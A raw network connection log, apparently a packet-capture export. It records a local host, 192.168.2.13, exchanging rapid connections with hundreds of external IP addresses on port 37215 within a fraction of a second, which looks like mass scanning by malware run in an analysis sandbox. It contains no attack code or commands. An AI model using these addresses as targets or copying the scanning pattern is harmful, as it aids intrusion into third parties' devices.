Aug 17, 2024 01:01:52.595799923 CEST	48724	37215	192.168.2.13	41.7.76.224
Aug 17, 2024 01:01:52.595799923 CEST	45186	37215	192.168.2.13	41.30.59.125
Aug 17, 2024 01:01:52.595814943 CEST	50724	37215	192.168.2.13	197.227.212.131
Aug 17, 2024 01:01:52.595814943 CEST	51186	37215	192.168.2.13	41.111.3.139
Aug 17, 2024 01:01:52.595818043 CEST	37215	50568	41.28.41.178	192.168.2.13
Aug 17, 2024 01:01:52.595829010 CEST	52666	37215	192.168.2.13	41.67.207.128
Aug 17, 2024 01:01:52.595829010 CEST	58768	37215	192.168.2.13	197.193.52.121
Aug 17, 2024 01:01:52.595838070 CEST	50458	37215	192.168.2.13	41.200.34.54
Aug 17, 2024 01:01:52.595844984 CEST	37215	53768	197.152.29.126	192.168.2.13
Aug 17, 2024 01:01:52.595855951 CEST	37215	51080	41.28.41.178	192.168.2.13
Aug 17, 2024 01:01:52.595865011 CEST	37215	37564	197.144.118.143	192.168.2.13
Aug 17, 2024 01:01:52.595875025 CEST	53768	37215	192.168.2.13	197.152.29.126
Aug 17, 2024 01:01:52.595875978 CEST	37215	38076	197.144.118.143	192.168.2.13
Aug 17, 2024 01:01:52.595885038 CEST	37215	54112	156.69.229.46	192.168.2.13
Aug 17, 2024 01:01:52.595891953 CEST	51080	37215	192.168.2.13	41.28.41.178
Aug 17, 2024 01:01:52.595905066 CEST	37215	54624	156.69.229.46	192.168.2.13
Aug 17, 2024 01:01:52.595915079 CEST	53768	37215	192.168.2.13	197.152.29.126
Aug 17, 2024 01:01:52.595915079 CEST	38076	37215	192.168.2.13	197.144.118.143
Aug 17, 2024 01:01:52.595942020 CEST	54624	37215	192.168.2.13	156.69.229.46
Aug 17, 2024 01:01:52.595948935 CEST	37215	58666	197.18.103.36	192.168.2.13
Aug 17, 2024 01:01:52.595964909 CEST	38076	37215	192.168.2.13	197.144.118.143
Aug 17, 2024 01:01:52.595968962 CEST	51080	37215	192.168.2.13	41.28.41.178
Aug 17, 2024 01:01:52.595971107 CEST	54624	37215	192.168.2.13	156.69.229.46
Aug 17, 2024 01:01:52.595982075 CEST	37215	60284	197.148.125.134	192.168.2.13
Aug 17, 2024 01:01:52.595992088 CEST	37215	60796	197.148.125.134	192.168.2.13
Aug 17, 2024 01:01:52.596002102 CEST	37215	59178	197.18.103.36	192.168.2.13
Aug 17, 2024 01:01:52.596012115 CEST	37215	42702	41.253.130.201	192.168.2.13
Aug 17, 2024 01:01:52.596025944 CEST	60796	37215	192.168.2.13	197.148.125.134
Aug 17, 2024 01:01:52.596056938 CEST	59178	37215	192.168.2.13	197.18.103.36
Aug 17, 2024 01:01:52.596056938 CEST	59178	37215	192.168.2.13	197.18.103.36
Aug 17, 2024 01:01:52.596060038 CEST	60796	37215	192.168.2.13	197.148.125.134
Aug 17, 2024 01:01:52.596082926 CEST	37215	43214	41.253.130.201	192.168.2.13
Aug 17, 2024 01:01:52.596091986 CEST	37215	46268	41.115.152.174	192.168.2.13
Aug 17, 2024 01:01:52.596102953 CEST	37215	46780	41.115.152.174	192.168.2.13
Aug 17, 2024 01:01:52.596107960 CEST	37215	44578	156.200.212.92	192.168.2.13
Aug 17, 2024 01:01:52.596123934 CEST	43214	37215	192.168.2.13	41.253.130.201
Aug 17, 2024 01:01:52.596123934 CEST	46780	37215	192.168.2.13	41.115.152.174
Aug 17, 2024 01:01:52.596155882 CEST	43214	37215	192.168.2.13	41.253.130.201
Aug 17, 2024 01:01:52.596155882 CEST	46780	37215	192.168.2.13	41.115.152.174
Aug 17, 2024 01:01:52.596211910 CEST	37215	45090	156.200.212.92	192.168.2.13
Aug 17, 2024 01:01:52.596221924 CEST	37215	38868	156.174.214.8	192.168.2.13
Aug 17, 2024 01:01:52.596230030 CEST	37215	42356	41.40.204.176	192.168.2.13
Aug 17, 2024 01:01:52.596237898 CEST	37215	39380	156.174.214.8	192.168.2.13
Aug 17, 2024 01:01:52.596246004 CEST	37215	42868	41.40.204.176	192.168.2.13
Aug 17, 2024 01:01:52.596252918 CEST	37215	36984	197.77.149.245	192.168.2.13
Aug 17, 2024 01:01:52.596266985 CEST	45090	37215	192.168.2.13	156.200.212.92
Aug 17, 2024 01:01:52.596266985 CEST	39380	37215	192.168.2.13	156.174.214.8
Aug 17, 2024 01:01:52.596266985 CEST	42868	37215	192.168.2.13	41.40.204.176
Aug 17, 2024 01:01:52.596290112 CEST	45090	37215	192.168.2.13	156.200.212.92
Aug 17, 2024 01:01:52.596301079 CEST	37215	37496	197.77.149.245	192.168.2.13
Aug 17, 2024 01:01:52.596309900 CEST	37215	43332	156.52.223.120	192.168.2.13
Aug 17, 2024 01:01:52.596318960 CEST	37215	43844	156.52.223.120	192.168.2.13
Aug 17, 2024 01:01:52.596328020 CEST	37215	47264	197.105.56.185	192.168.2.13
Aug 17, 2024 01:01:52.596338034 CEST	37215	47776	197.105.56.185	192.168.2.13
Aug 17, 2024 01:01:52.596345901 CEST	43844	37215	192.168.2.13	156.52.223.120
Aug 17, 2024 01:01:52.596348047 CEST	39380	37215	192.168.2.13	156.174.214.8
Aug 17, 2024 01:01:52.596348047 CEST	37215	51362	41.72.36.21	192.168.2.13
Aug 17, 2024 01:01:52.596348047 CEST	42868	37215	192.168.2.13	41.40.204.176
Aug 17, 2024 01:01:52.596369028 CEST	47776	37215	192.168.2.13	197.105.56.185
Aug 17, 2024 01:01:52.596396923 CEST	37496	37215	192.168.2.13	197.77.149.245
Aug 17, 2024 01:01:52.596396923 CEST	37496	37215	192.168.2.13	197.77.149.245
Aug 17, 2024 01:01:52.596399069 CEST	43844	37215	192.168.2.13	156.52.223.120
Aug 17, 2024 01:01:52.596415043 CEST	47776	37215	192.168.2.13	197.105.56.185
Aug 17, 2024 01:01:52.596421957 CEST	37215	51874	41.72.36.21	192.168.2.13
Aug 17, 2024 01:01:52.596434116 CEST	37215	33368	197.242.157.20	192.168.2.13
Aug 17, 2024 01:01:52.596445084 CEST	37215	33880	197.242.157.20	192.168.2.13
Aug 17, 2024 01:01:52.596457005 CEST	37215	47108	41.224.178.253	192.168.2.13
Aug 17, 2024 01:01:52.596466064 CEST	51874	37215	192.168.2.13	41.72.36.21
Aug 17, 2024 01:01:52.596468925 CEST	37215	47620	41.224.178.253	192.168.2.13
Aug 17, 2024 01:01:52.596481085 CEST	33880	37215	192.168.2.13	197.242.157.20
Aug 17, 2024 01:01:52.596494913 CEST	37215	45046	197.33.118.207	192.168.2.13
Aug 17, 2024 01:01:52.596494913 CEST	47620	37215	192.168.2.13	41.224.178.253
Aug 17, 2024 01:01:52.596508026 CEST	51874	37215	192.168.2.13	41.72.36.21
Aug 17, 2024 01:01:52.596548080 CEST	33880	37215	192.168.2.13	197.242.157.20
Aug 17, 2024 01:01:52.596549034 CEST	37215	45558	197.33.118.207	192.168.2.13
Aug 17, 2024 01:01:52.596553087 CEST	47620	37215	192.168.2.13	41.224.178.253
Aug 17, 2024 01:01:52.596560955 CEST	37215	44492	41.33.53.167	192.168.2.13
Aug 17, 2024 01:01:52.596585989 CEST	45558	37215	192.168.2.13	197.33.118.207
Aug 17, 2024 01:01:52.596590996 CEST	37215	45004	41.33.53.167	192.168.2.13
Aug 17, 2024 01:01:52.596595049 CEST	45558	37215	192.168.2.13	197.33.118.207
Aug 17, 2024 01:01:52.596601963 CEST	37215	57734	41.190.82.22	192.168.2.13
Aug 17, 2024 01:01:52.596611023 CEST	37215	58246	41.190.82.22	192.168.2.13
Aug 17, 2024 01:01:52.596618891 CEST	45004	37215	192.168.2.13	41.33.53.167
Aug 17, 2024 01:01:52.596621037 CEST	37215	33030	156.130.182.89	192.168.2.13
Aug 17, 2024 01:01:52.596630096 CEST	37215	33542	156.130.182.89	192.168.2.13
Aug 17, 2024 01:01:52.596637964 CEST	58246	37215	192.168.2.13	41.190.82.22
Aug 17, 2024 01:01:52.596640110 CEST	37215	52624	197.134.164.58	192.168.2.13
Aug 17, 2024 01:01:52.596640110 CEST	45004	37215	192.168.2.13	41.33.53.167
Aug 17, 2024 01:01:52.596648932 CEST	37215	53136	197.134.164.58	192.168.2.13
Aug 17, 2024 01:01:52.596656084 CEST	33542	37215	192.168.2.13	156.130.182.89
Aug 17, 2024 01:01:52.596668959 CEST	37215	41612	41.246.45.174	192.168.2.13
Aug 17, 2024 01:01:52.596678972 CEST	37215	42124	41.246.45.174	192.168.2.13
Aug 17, 2024 01:01:52.596683025 CEST	58246	37215	192.168.2.13	41.190.82.22
Aug 17, 2024 01:01:52.596683979 CEST	53136	37215	192.168.2.13	197.134.164.58
Aug 17, 2024 01:01:52.596688032 CEST	37215	51582	197.163.251.194	192.168.2.13
Aug 17, 2024 01:01:52.596700907 CEST	33542	37215	192.168.2.13	156.130.182.89
Aug 17, 2024 01:01:52.596709967 CEST	42124	37215	192.168.2.13	41.246.45.174
Aug 17, 2024 01:01:52.596713066 CEST	37215	52094	197.163.251.194	192.168.2.13
Aug 17, 2024 01:01:52.596724033 CEST	37215	34822	197.81.111.53	192.168.2.13
Aug 17, 2024 01:01:52.596739054 CEST	37215	45364	156.153.26.52	192.168.2.13
Aug 17, 2024 01:01:52.596743107 CEST	52094	37215	192.168.2.13	197.163.251.194
Aug 17, 2024 01:01:52.596752882 CEST	37215	35334	197.81.111.53	192.168.2.13
Aug 17, 2024 01:01:52.596757889 CEST	53136	37215	192.168.2.13	197.134.164.58
Aug 17, 2024 01:01:52.596762896 CEST	37215	45876	156.153.26.52	192.168.2.13
Aug 17, 2024 01:01:52.596775055 CEST	42124	37215	192.168.2.13	41.246.45.174
Aug 17, 2024 01:01:52.596786022 CEST	37215	39632	41.254.227.85	192.168.2.13
Aug 17, 2024 01:01:52.596790075 CEST	35334	37215	192.168.2.13	197.81.111.53
Aug 17, 2024 01:01:52.596791029 CEST	45876	37215	192.168.2.13	156.153.26.52
Aug 17, 2024 01:01:52.596797943 CEST	37215	55986	197.131.244.219	192.168.2.13
Aug 17, 2024 01:01:52.596807003 CEST	37215	40144	41.254.227.85	192.168.2.13
Aug 17, 2024 01:01:52.596816063 CEST	37215	49622	41.135.249.76	192.168.2.13
Aug 17, 2024 01:01:52.596822977 CEST	52094	37215	192.168.2.13	197.163.251.194
Aug 17, 2024 01:01:52.596823931 CEST	37215	56498	197.131.244.219	192.168.2.13
Aug 17, 2024 01:01:52.596833944 CEST	37215	52672	156.207.217.207	192.168.2.13
Aug 17, 2024 01:01:52.596834898 CEST	40144	37215	192.168.2.13	41.254.227.85
Aug 17, 2024 01:01:52.596834898 CEST	45876	37215	192.168.2.13	156.153.26.52
Aug 17, 2024 01:01:52.596846104 CEST	37215	53184	156.207.217.207	192.168.2.13
Aug 17, 2024 01:01:52.596856117 CEST	35334	37215	192.168.2.13	197.81.111.53
Aug 17, 2024 01:01:52.596856117 CEST	37215	38018	41.85.61.96	192.168.2.13
Aug 17, 2024 01:01:52.596862078 CEST	56498	37215	192.168.2.13	197.131.244.219
Aug 17, 2024 01:01:52.596883059 CEST	53184	37215	192.168.2.13	156.207.217.207
Aug 17, 2024 01:01:52.596895933 CEST	37215	50134	41.135.249.76	192.168.2.13
Aug 17, 2024 01:01:52.596909046 CEST	53184	37215	192.168.2.13	156.207.217.207
Aug 17, 2024 01:01:52.596910954 CEST	37215	38530	41.85.61.96	192.168.2.13
Aug 17, 2024 01:01:52.596910954 CEST	56498	37215	192.168.2.13	197.131.244.219
Aug 17, 2024 01:01:52.596920013 CEST	37215	44218	156.127.131.95	192.168.2.13
Aug 17, 2024 01:01:52.596921921 CEST	40144	37215	192.168.2.13	41.254.227.85
Aug 17, 2024 01:01:52.596921921 CEST	50134	37215	192.168.2.13	41.135.249.76
Aug 17, 2024 01:01:52.596929073 CEST	37215	44730	156.127.131.95	192.168.2.13
Aug 17, 2024 01:01:52.596944094 CEST	38530	37215	192.168.2.13	41.85.61.96
Aug 17, 2024 01:01:52.596945047 CEST	37215	42284	156.224.77.37	192.168.2.13
Aug 17, 2024 01:01:52.596955061 CEST	37215	41772	156.224.77.37	192.168.2.13
Aug 17, 2024 01:01:52.596957922 CEST	44730	37215	192.168.2.13	156.127.131.95
Aug 17, 2024 01:01:52.596968889 CEST	37215	46300	156.167.239.5	192.168.2.13
Aug 17, 2024 01:01:52.596980095 CEST	44730	37215	192.168.2.13	156.127.131.95
Aug 17, 2024 01:01:52.596987963 CEST	42284	37215	192.168.2.13	156.224.77.37
Aug 17, 2024 01:01:52.596987963 CEST	37215	46812	156.167.239.5	192.168.2.13
Aug 17, 2024 01:01:52.596988916 CEST	38530	37215	192.168.2.13	41.85.61.96
Aug 17, 2024 01:01:52.596997976 CEST	37215	53980	41.145.152.60	192.168.2.13
Aug 17, 2024 01:01:52.597007036 CEST	37215	34998	197.145.99.21	192.168.2.13
Aug 17, 2024 01:01:52.597014904 CEST	50134	37215	192.168.2.13	41.135.249.76
Aug 17, 2024 01:01:52.597017050 CEST	37215	35510	197.145.99.21	192.168.2.13
Aug 17, 2024 01:01:52.597027063 CEST	37215	59928	197.223.197.153	192.168.2.13
Aug 17, 2024 01:01:52.597039938 CEST	42284	37215	192.168.2.13	156.224.77.37
Aug 17, 2024 01:01:52.597048998 CEST	46812	37215	192.168.2.13	156.167.239.5
Aug 17, 2024 01:01:52.597048998 CEST	46812	37215	192.168.2.13	156.167.239.5
Aug 17, 2024 01:01:52.597048998 CEST	35510	37215	192.168.2.13	197.145.99.21
Aug 17, 2024 01:01:52.597103119 CEST	37215	54492	41.145.152.60	192.168.2.13
Aug 17, 2024 01:01:52.597112894 CEST	37215	60440	197.223.197.153	192.168.2.13
Aug 17, 2024 01:01:52.597121000 CEST	37215	42812	197.59.22.76	192.168.2.13
Aug 17, 2024 01:01:52.597134113 CEST	37215	43324	197.59.22.76	192.168.2.13
Aug 17, 2024 01:01:52.597142935 CEST	37215	54780	41.187.163.243	192.168.2.13
Aug 17, 2024 01:01:52.597143888 CEST	54492	37215	192.168.2.13	41.145.152.60
Aug 17, 2024 01:01:52.597143888 CEST	60440	37215	192.168.2.13	197.223.197.153
Aug 17, 2024 01:01:52.597151995 CEST	37215	55292	41.187.163.243	192.168.2.13
Aug 17, 2024 01:01:52.597161055 CEST	35510	37215	192.168.2.13	197.145.99.21
Aug 17, 2024 01:01:52.597162008 CEST	37215	57456	41.60.50.8	192.168.2.13
Aug 17, 2024 01:01:52.597171068 CEST	37215	57968	41.60.50.8	192.168.2.13
Aug 17, 2024 01:01:52.597172976 CEST	43324	37215	192.168.2.13	197.59.22.76
Aug 17, 2024 01:01:52.597182035 CEST	55292	37215	192.168.2.13	41.187.163.243
Aug 17, 2024 01:01:52.597191095 CEST	54492	37215	192.168.2.13	41.145.152.60
Aug 17, 2024 01:01:52.597191095 CEST	60440	37215	192.168.2.13	197.223.197.153
Aug 17, 2024 01:01:52.597229958 CEST	37215	54994	41.81.36.0	192.168.2.13
Aug 17, 2024 01:01:52.597242117 CEST	37215	55506	41.81.36.0	192.168.2.13
Aug 17, 2024 01:01:52.597242117 CEST	43324	37215	192.168.2.13	197.59.22.76
Aug 17, 2024 01:01:52.597244024 CEST	57968	37215	192.168.2.13	41.60.50.8
Aug 17, 2024 01:01:52.597244024 CEST	57968	37215	192.168.2.13	41.60.50.8
Aug 17, 2024 01:01:52.597249985 CEST	55292	37215	192.168.2.13	41.187.163.243
Aug 17, 2024 01:01:52.597255945 CEST	37215	56138	197.82.247.73	192.168.2.13
Aug 17, 2024 01:01:52.597266912 CEST	37215	56650	197.82.247.73	192.168.2.13
Aug 17, 2024 01:01:52.597276926 CEST	55506	37215	192.168.2.13	41.81.36.0
Aug 17, 2024 01:01:52.597278118 CEST	37215	36020	156.136.35.194	192.168.2.13
Aug 17, 2024 01:01:52.597296953 CEST	55506	37215	192.168.2.13	41.81.36.0
Aug 17, 2024 01:01:52.597301960 CEST	56650	37215	192.168.2.13	197.82.247.73
Aug 17, 2024 01:01:52.597311020 CEST	37215	36532	156.136.35.194	192.168.2.13
Aug 17, 2024 01:01:52.597326994 CEST	37215	57302	156.47.228.225	192.168.2.13
Aug 17, 2024 01:01:52.597336054 CEST	37215	43258	156.35.151.19	192.168.2.13
Aug 17, 2024 01:01:52.597352028 CEST	37215	57814	156.47.228.225	192.168.2.13
Aug 17, 2024 01:01:52.597356081 CEST	56650	37215	192.168.2.13	197.82.247.73
Aug 17, 2024 01:01:52.597364902 CEST	37215	36962	197.178.219.110	192.168.2.13
Aug 17, 2024 01:01:52.597373009 CEST	37215	43770	156.35.151.19	192.168.2.13
Aug 17, 2024 01:01:52.597382069 CEST	37215	50768	156.84.141.220	192.168.2.13
Aug 17, 2024 01:01:52.597383976 CEST	36532	37215	192.168.2.13	156.136.35.194
Aug 17, 2024 01:01:52.597383976 CEST	36532	37215	192.168.2.13	156.136.35.194
Aug 17, 2024 01:01:52.597383976 CEST	57814	37215	192.168.2.13	156.47.228.225
Aug 17, 2024 01:01:52.597402096 CEST	43770	37215	192.168.2.13	156.35.151.19
Aug 17, 2024 01:01:52.597441912 CEST	57814	37215	192.168.2.13	156.47.228.225
Aug 17, 2024 01:01:52.597443104 CEST	43770	37215	192.168.2.13	156.35.151.19
Aug 17, 2024 01:01:52.597482920 CEST	37215	37474	197.178.219.110	192.168.2.13
Aug 17, 2024 01:01:52.597492933 CEST	37215	51280	156.84.141.220	192.168.2.13
Aug 17, 2024 01:01:52.597503901 CEST	37215	43066	41.149.96.72	192.168.2.13
Aug 17, 2024 01:01:52.597526073 CEST	37215	43578	41.149.96.72	192.168.2.13
Aug 17, 2024 01:01:52.597527027 CEST	51280	37215	192.168.2.13	156.84.141.220
Aug 17, 2024 01:01:52.597546101 CEST	37474	37215	192.168.2.13	197.178.219.110
Aug 17, 2024 01:01:52.597546101 CEST	37474	37215	192.168.2.13	197.178.219.110
Aug 17, 2024 01:01:52.597548008 CEST	37215	54118	197.251.210.162	192.168.2.13
Aug 17, 2024 01:01:52.597558022 CEST	43578	37215	192.168.2.13	41.149.96.72
Aug 17, 2024 01:01:52.597560883 CEST	37215	54630	197.251.210.162	192.168.2.13
Aug 17, 2024 01:01:52.597563982 CEST	51280	37215	192.168.2.13	156.84.141.220
Aug 17, 2024 01:01:52.597569942 CEST	37215	51808	156.169.83.79	192.168.2.13
Aug 17, 2024 01:01:52.597585917 CEST	54630	37215	192.168.2.13	197.251.210.162
Aug 17, 2024 01:01:52.597587109 CEST	37215	52320	156.169.83.79	192.168.2.13
Aug 17, 2024 01:01:52.597598076 CEST	37215	50154	156.203.116.210	192.168.2.13
Aug 17, 2024 01:01:52.597609997 CEST	37215	50666	156.203.116.210	192.168.2.13
Aug 17, 2024 01:01:52.597615957 CEST	54630	37215	192.168.2.13	197.251.210.162
Aug 17, 2024 01:01:52.597616911 CEST	43578	37215	192.168.2.13	41.149.96.72
Aug 17, 2024 01:01:52.597620964 CEST	37215	60514	41.178.253.124	192.168.2.13
Aug 17, 2024 01:01:52.597621918 CEST	52320	37215	192.168.2.13	156.169.83.79
Aug 17, 2024 01:01:52.597631931 CEST	37215	39884	156.236.94.230	192.168.2.13
Aug 17, 2024 01:01:52.597644091 CEST	50666	37215	192.168.2.13	156.203.116.210
Aug 17, 2024 01:01:52.597644091 CEST	37215	40396	156.236.94.230	192.168.2.13
Aug 17, 2024 01:01:52.597650051 CEST	37215	33816	41.56.250.184	192.168.2.13
Aug 17, 2024 01:01:52.597667933 CEST	37215	32794	41.178.253.124	192.168.2.13
Aug 17, 2024 01:01:52.597673893 CEST	40396	37215	192.168.2.13	156.236.94.230
Aug 17, 2024 01:01:52.597686052 CEST	50666	37215	192.168.2.13	156.203.116.210
Aug 17, 2024 01:01:52.597687006 CEST	52320	37215	192.168.2.13	156.169.83.79
Aug 17, 2024 01:01:52.597693920 CEST	37215	34328	41.56.250.184	192.168.2.13
Aug 17, 2024 01:01:52.597703934 CEST	37215	44918	41.188.165.36	192.168.2.13
Aug 17, 2024 01:01:52.597712994 CEST	37215	37006	41.37.209.74	192.168.2.13
Aug 17, 2024 01:01:52.597721100 CEST	37215	45430	41.188.165.36	192.168.2.13
Aug 17, 2024 01:01:52.597723007 CEST	34328	37215	192.168.2.13	41.56.250.184
Aug 17, 2024 01:01:52.597734928 CEST	37215	37518	41.37.209.74	192.168.2.13
Aug 17, 2024 01:01:52.597742081 CEST	32794	37215	192.168.2.13	41.178.253.124
Aug 17, 2024 01:01:52.597742081 CEST	32794	37215	192.168.2.13	41.178.253.124
Aug 17, 2024 01:01:52.597743988 CEST	37215	34054	41.217.242.186	192.168.2.13
Aug 17, 2024 01:01:52.597748041 CEST	40396	37215	192.168.2.13	156.236.94.230
Aug 17, 2024 01:01:52.597765923 CEST	37518	37215	192.168.2.13	41.37.209.74
Aug 17, 2024 01:01:52.597781897 CEST	45430	37215	192.168.2.13	41.188.165.36
Aug 17, 2024 01:01:52.597788095 CEST	34328	37215	192.168.2.13	41.56.250.184
Aug 17, 2024 01:01:52.597799063 CEST	45430	37215	192.168.2.13	41.188.165.36
Aug 17, 2024 01:01:52.597800016 CEST	37518	37215	192.168.2.13	41.37.209.74
Aug 17, 2024 01:01:52.597815037 CEST	37215	34566	41.217.242.186	192.168.2.13
Aug 17, 2024 01:01:52.597824097 CEST	37215	35236	197.182.20.163	192.168.2.13
Aug 17, 2024 01:01:52.597834110 CEST	37215	35748	197.182.20.163	192.168.2.13
Aug 17, 2024 01:01:52.597845078 CEST	37215	55612	197.20.218.51	192.168.2.13
Aug 17, 2024 01:01:52.597851038 CEST	34566	37215	192.168.2.13	41.217.242.186
Aug 17, 2024 01:01:52.597858906 CEST	37215	56124	197.20.218.51	192.168.2.13
Aug 17, 2024 01:01:52.597862005 CEST	35748	37215	192.168.2.13	197.182.20.163
Aug 17, 2024 01:01:52.597872019 CEST	37215	54320	156.205.144.104	192.168.2.13
Aug 17, 2024 01:01:52.597882986 CEST	37215	54832	156.205.144.104	192.168.2.13
Aug 17, 2024 01:01:52.597893000 CEST	56124	37215	192.168.2.13	197.20.218.51
Aug 17, 2024 01:01:52.597904921 CEST	37215	35690	41.184.94.93	192.168.2.13
Aug 17, 2024 01:01:52.597906113 CEST	34566	37215	192.168.2.13	41.217.242.186
Aug 17, 2024 01:01:52.597913980 CEST	54832	37215	192.168.2.13	156.205.144.104
Aug 17, 2024 01:01:52.597920895 CEST	35748	37215	192.168.2.13	197.182.20.163
Aug 17, 2024 01:01:52.597942114 CEST	37215	38684	41.74.137.213	192.168.2.13
Aug 17, 2024 01:01:52.597950935 CEST	37215	36202	41.184.94.93	192.168.2.13
Aug 17, 2024 01:01:52.597965956 CEST	37215	39196	41.74.137.213	192.168.2.13
Aug 17, 2024 01:01:52.597965956 CEST	56124	37215	192.168.2.13	197.20.218.51
Aug 17, 2024 01:01:52.597968102 CEST	54832	37215	192.168.2.13	156.205.144.104
Aug 17, 2024 01:01:52.597975016 CEST	37215	60682	41.125.179.222	192.168.2.13
Aug 17, 2024 01:01:52.597990990 CEST	37215	32962	41.125.179.222	192.168.2.13
Aug 17, 2024 01:01:52.597994089 CEST	36202	37215	192.168.2.13	41.184.94.93
Aug 17, 2024 01:01:52.597994089 CEST	39196	37215	192.168.2.13	41.74.137.213
Aug 17, 2024 01:01:52.598020077 CEST	37215	58412	156.11.0.154	192.168.2.13
Aug 17, 2024 01:01:52.598021984 CEST	32962	37215	192.168.2.13	41.125.179.222
Aug 17, 2024 01:01:52.598033905 CEST	36202	37215	192.168.2.13	41.184.94.93
Aug 17, 2024 01:01:52.598033905 CEST	39196	37215	192.168.2.13	41.74.137.213
Aug 17, 2024 01:01:52.598041058 CEST	37215	53100	156.42.241.51	192.168.2.13
Aug 17, 2024 01:01:52.598052025 CEST	37215	58924	156.11.0.154	192.168.2.13
Aug 17, 2024 01:01:52.598061085 CEST	37215	53612	156.42.241.51	192.168.2.13
Aug 17, 2024 01:01:52.598071098 CEST	37215	55324	197.77.108.93	192.168.2.13
Aug 17, 2024 01:01:52.598073959 CEST	32962	37215	192.168.2.13	41.125.179.222
Aug 17, 2024 01:01:52.598081112 CEST	37215	58020	156.124.114.28	192.168.2.13
Aug 17, 2024 01:01:52.598089933 CEST	58924	37215	192.168.2.13	156.11.0.154
Aug 17, 2024 01:01:52.598089933 CEST	53612	37215	192.168.2.13	156.42.241.51
Aug 17, 2024 01:01:52.598114967 CEST	58924	37215	192.168.2.13	156.11.0.154
Aug 17, 2024 01:01:52.598114967 CEST	53612	37215	192.168.2.13	156.42.241.51
Aug 17, 2024 01:01:52.598143101 CEST	37215	55836	197.77.108.93	192.168.2.13
Aug 17, 2024 01:01:52.598155022 CEST	37215	58532	156.124.114.28	192.168.2.13
Aug 17, 2024 01:01:52.598182917 CEST	55836	37215	192.168.2.13	197.77.108.93
Aug 17, 2024 01:01:52.598182917 CEST	58532	37215	192.168.2.13	156.124.114.28
Aug 17, 2024 01:01:52.598184109 CEST	37215	53754	197.131.247.58	192.168.2.13
Aug 17, 2024 01:01:52.598218918 CEST	55836	37215	192.168.2.13	197.77.108.93
Aug 17, 2024 01:01:52.598218918 CEST	58532	37215	192.168.2.13	156.124.114.28
Aug 17, 2024 01:01:52.598221064 CEST	37215	54266	197.131.247.58	192.168.2.13
Aug 17, 2024 01:01:52.598278999 CEST	54266	37215	192.168.2.13	197.131.247.58
Aug 17, 2024 01:01:52.598278999 CEST	54266	37215	192.168.2.13	197.131.247.58
Aug 17, 2024 01:01:52.598299980 CEST	37215	48768	197.233.181.104	192.168.2.13
Aug 17, 2024 01:01:52.598310947 CEST	37215	49280	197.233.181.104	192.168.2.13
Aug 17, 2024 01:01:52.598321915 CEST	37215	59176	41.104.228.157	192.168.2.13
Aug 17, 2024 01:01:52.598342896 CEST	49280	37215	192.168.2.13	197.233.181.104
Aug 17, 2024 01:01:52.598361969 CEST	37215	44884	197.109.141.223	192.168.2.13
Aug 17, 2024 01:01:52.598365068 CEST	49280	37215	192.168.2.13	197.233.181.104
Aug 17, 2024 01:01:52.598372936 CEST	37215	59688	41.104.228.157	192.168.2.13
Aug 17, 2024 01:01:52.598381996 CEST	37215	45396	197.109.141.223	192.168.2.13
Aug 17, 2024 01:01:52.598398924 CEST	37215	59606	197.81.9.101	192.168.2.13
Aug 17, 2024 01:01:52.598402977 CEST	59688	37215	192.168.2.13	41.104.228.157
Aug 17, 2024 01:01:52.598422050 CEST	59688	37215	192.168.2.13	41.104.228.157
Aug 17, 2024 01:01:52.598447084 CEST	45396	37215	192.168.2.13	197.109.141.223
Aug 17, 2024 01:01:52.598447084 CEST	45396	37215	192.168.2.13	197.109.141.223
Aug 17, 2024 01:01:52.598503113 CEST	37215	60118	197.81.9.101	192.168.2.13
Aug 17, 2024 01:01:52.598511934 CEST	37215	37432	156.186.214.34	192.168.2.13
Aug 17, 2024 01:01:52.598520041 CEST	37215	36920	156.186.214.34	192.168.2.13
Aug 17, 2024 01:01:52.598536968 CEST	60118	37215	192.168.2.13	197.81.9.101
Aug 17, 2024 01:01:52.598562002 CEST	60118	37215	192.168.2.13	197.81.9.101
Aug 17, 2024 01:01:52.598566055 CEST	37432	37215	192.168.2.13	156.186.214.34
Aug 17, 2024 01:01:52.598566055 CEST	37432	37215	192.168.2.13	156.186.214.34
Aug 17, 2024 01:01:52.598695040 CEST	37215	40720	41.237.68.28	192.168.2.13
Aug 17, 2024 01:01:52.598704100 CEST	37215	41232	41.237.68.28	192.168.2.13
Aug 17, 2024 01:01:52.598728895 CEST	41232	37215	192.168.2.13	41.237.68.28
Aug 17, 2024 01:01:52.598752975 CEST	41232	37215	192.168.2.13	41.237.68.28
Aug 17, 2024 01:01:52.598793030 CEST	37215	34066	197.46.139.125	192.168.2.13
Aug 17, 2024 01:01:52.598803043 CEST	37215	34578	197.46.139.125	192.168.2.13
Aug 17, 2024 01:01:52.598814011 CEST	37215	54496	41.104.87.75	192.168.2.13
Aug 17, 2024 01:01:52.598856926 CEST	34578	37215	192.168.2.13	197.46.139.125
Aug 17, 2024 01:01:52.598875999 CEST	34578	37215	192.168.2.13	197.46.139.125
Aug 17, 2024 01:01:52.598896027 CEST	37215	55008	41.104.87.75	192.168.2.13
Aug 17, 2024 01:01:52.598906994 CEST	37215	57146	41.5.140.208	192.168.2.13
Aug 17, 2024 01:01:52.598918915 CEST	37215	57658	41.5.140.208	192.168.2.13
Aug 17, 2024 01:01:52.598934889 CEST	37215	58200	41.218.157.167	192.168.2.13
Aug 17, 2024 01:01:52.598941088 CEST	55008	37215	192.168.2.13	41.104.87.75
Aug 17, 2024 01:01:52.598953962 CEST	57658	37215	192.168.2.13	41.5.140.208
Aug 17, 2024 01:01:52.598953962 CEST	37215	35152	156.119.0.235	192.168.2.13
Aug 17, 2024 01:01:52.598965883 CEST	37215	35664	156.119.0.235	192.168.2.13
Aug 17, 2024 01:01:52.598969936 CEST	55008	37215	192.168.2.13	41.104.87.75
Aug 17, 2024 01:01:52.598977089 CEST	37215	58712	41.218.157.167	192.168.2.13
Aug 17, 2024 01:01:52.598983049 CEST	57658	37215	192.168.2.13	41.5.140.208
Aug 17, 2024 01:01:52.598999023 CEST	58712	37215	192.168.2.13	41.218.157.167
Aug 17, 2024 01:01:52.598999977 CEST	35664	37215	192.168.2.13	156.119.0.235
Aug 17, 2024 01:01:52.599030972 CEST	35664	37215	192.168.2.13	156.119.0.235
Aug 17, 2024 01:01:52.599050999 CEST	58712	37215	192.168.2.13	41.218.157.167
Aug 17, 2024 01:01:52.599092007 CEST	37215	54538	41.38.176.133	192.168.2.13
Aug 17, 2024 01:01:52.599102974 CEST	37215	55050	41.38.176.133	192.168.2.13
Aug 17, 2024 01:01:52.599112988 CEST	37215	57266	156.234.175.39	192.168.2.13
Aug 17, 2024 01:01:52.599124908 CEST	37215	57778	156.234.175.39	192.168.2.13
